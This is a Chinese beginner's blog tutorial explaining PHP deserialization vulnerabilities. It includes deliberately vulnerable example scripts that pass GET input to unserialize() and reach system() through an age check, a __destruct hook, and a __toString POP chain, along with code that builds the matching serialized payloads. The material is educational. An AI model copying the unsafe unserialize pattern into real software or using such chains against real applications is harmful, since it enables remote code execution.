面相小白的php反序列化漏洞原理剖析

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理反序列化漏洞的一些成因原理

建议学习反序列化之前

先对php基础语法与面向对象有个大体的了解

(我觉得我整理的比较细致,了解这俩是个啥就行)

漏洞实战情况

这个漏洞黑盒几乎不会被发现,除非极少数个别特别奇葩离谱少见,或者有内鬼作祟,明摆着告诉你这里有个漏洞,你来打我的情况。

大多数是白盒审计得出。

序列化与反序列化概念

需求分析

这里假设我们有一个类对象,我们想要引用可以直接用文件导入。

但是假设我们想要传输这个类对象给其他主机。

我们不可能把整个类的代码都给复制然后发送。

这个时候就需要把他们转化为一种更能方便传输的形式。

这个过程成为序列化。

反序列化则是把序列的产物重新变为类对象

序列化

函数:

serialize()

序列化后的产物模式:

代码演示

php 复制代码
<?php
class student{
    public $name="joker";
    private $age=11;
    public function sayhello(){
        echo "hellohello";
    }
}

$a=new student();
$b=serialize($a);
echo $b;
?>

结果如下:

反序列化

函数:

unserialize()

他就是反过来,能够把序列化的字符串转化为类对象可供使用。

代码演示

php 复制代码
<?php
class student{
    public $name="joker";
    private $age=11;
    public function sayhello(){
        echo "hellohello";
    }
}

$a=new student();
$b=serialize($a);
$c=unserialize($b);
$c->sayhello();
?>

结果如下:

反序列化漏洞的成因与复现

原理分析

目标执行类中本不能执行的eval等危险函数。

反序列化可以覆盖原本的变量值,所以可以帮住我们运行本不应该被运行的区域。

自拟案例演示

以下为一串代码。

php 复制代码
<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

代码解析

get传递一个x参数,然后把他反序列化,之后运行runeval方法。

类中,有name,age属性,以及一个方法。

方法输出age的值,并且当age>=18的时候就会执行

system

而朋友,system是个高危函数,这里是固定的ipconfig,如果这个参数可控,那么就是一个大漏洞。

但是age明显固定是11啊,根本不会执行system。这里就轮到反序列化漏洞登场。

漏洞利用过程

我们新建一个php文件

把上面类的php代码全复制过来。

php 复制代码
<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}
    
    $b=new student;
    $c=serialize($b);
    echo $c;
?>

接下来删减代码,仅保留我们要更改的地方

要尽量的减少对原代码运行的影响,防止功能错乱。

这里我们只需要改一个age属性值,让他能过检查即可,那么把age留下其余的全部删除

php 复制代码
<?php
class student{
    public $age=19;
}
    
    $b=new student;
    $c=serialize($b);
    echo $c;
?>

然后下面给他序列化输出一下。

把这串序列化字符串作为x传入原先的地方。

这里对比一下源代码

php 复制代码
<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

runeval函数中输出age的地方输出了19

也就是说我们覆盖了原先的11

并且过了检查执行了system。

现在我们试想一下真实场景。

假如这个age是判断你是不是vlp呢?

这样能不能绕过?

对吧,这个就是反序列化漏洞的一个基础的攻击形式。

反序列化进阶操作

在开发中几乎一定会用一些构造方法,类中实例化其他类对象的操作。

而这些操作让我们有更大的操作空间,让这个实例化跟打内网一样在类中各种横向移动建立隧道。

构造方法玩法

开发中几乎类都会执行一些构造方法。

构造方法的特点就是实例化的时候直接执行!!!!

没错直接执行!!!

具体的魔术方法以及作用参考我的这篇文章(太多了。。。)

(有php面向对象基础的可以直接看下面,没有的话先仔细看这个魔术方法,不然看不懂下面是啥)

php反序列化常见魔术方法整理-CSDN博客

看我们之前的代码

php 复制代码
<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

看下面类对象的实例化。

我们是直接传入然后手动执行了runeval。

但是如果不执行的话,那不就是一点办法没有了嘛。

所以如果他有构造方法,构造方法就会在反序列化的时候自动执行。

大大提升了我们的可玩性!!

看这个代码

php 复制代码
<?php
class student{
    public $name="joker";
    public $age=11;
    public function __destruct(){
        echo "aa";
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }


}

$b=$_GET["x"];
$c=unserialize($b);
?>

仅仅进行了反序列化,并没有执行方法,但是类中有一个构造方法。

这个方法会在类结束的时候自动执行,所以不好意思,上一个payload依旧秒掉。

(注意一下实例化加个(),我上面给忘了。。。)

php 复制代码
<?php
class student{
    public $age=19;
}
    
    $b=new student();
    $c=serialize($b);
    echo $c;
?>

pop链类跳跃

看下面代码

php 复制代码
<?php
class student1{
    public $name="joker";
    public $age=11;
    public function getip(){
        echo system("ipconfig");
    }
}


class student2{
    public $name;
    public $age;
    public function __toString(){
        echo "runing";
        $this->name->{$this->age}();
}
}

$b=$_GET["x"];
$c=unserialize($b);
echo $c;
?>

这里有两个类,仅仅靠源代码,他们毫无关联。

很明显system在student1中

然而getip方法显然是没有被执行的。

student2有toString的方法,如果类对象被当做字符串处理则会执行。

而下面那个echo明显作为了字符串,所以能够执行toString。

然后里面的

this-\>name-\>{this->age}();

两个属性值都能够被反序列化恶意更改让他实例化为student1并执行函数。

所以

php 复制代码
<?php
class student1{
}

class student2{
    public $name;
    public $age="getip";
}

    $c=new student2();
    $z=new student1();
    $c->name=$z;
    $d=serialize($c);
    echo $d;
?>

结语

看到这应该就会了解php反序列化漏洞的一个工作原理了。

但还是老规矩绕过策略与特殊玩法写在别的博客中。

别问我为毛老说写一个完整体系结果又写别的去了。。。

因为我写的过程中遇到一个点攻不破我就想摆烂了。

相关推荐
ServBay2 天前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack4 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo4 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack5 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo5 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack6 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay7 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954487 天前
CTF 伪协议
php
BingoGo9 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack9 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端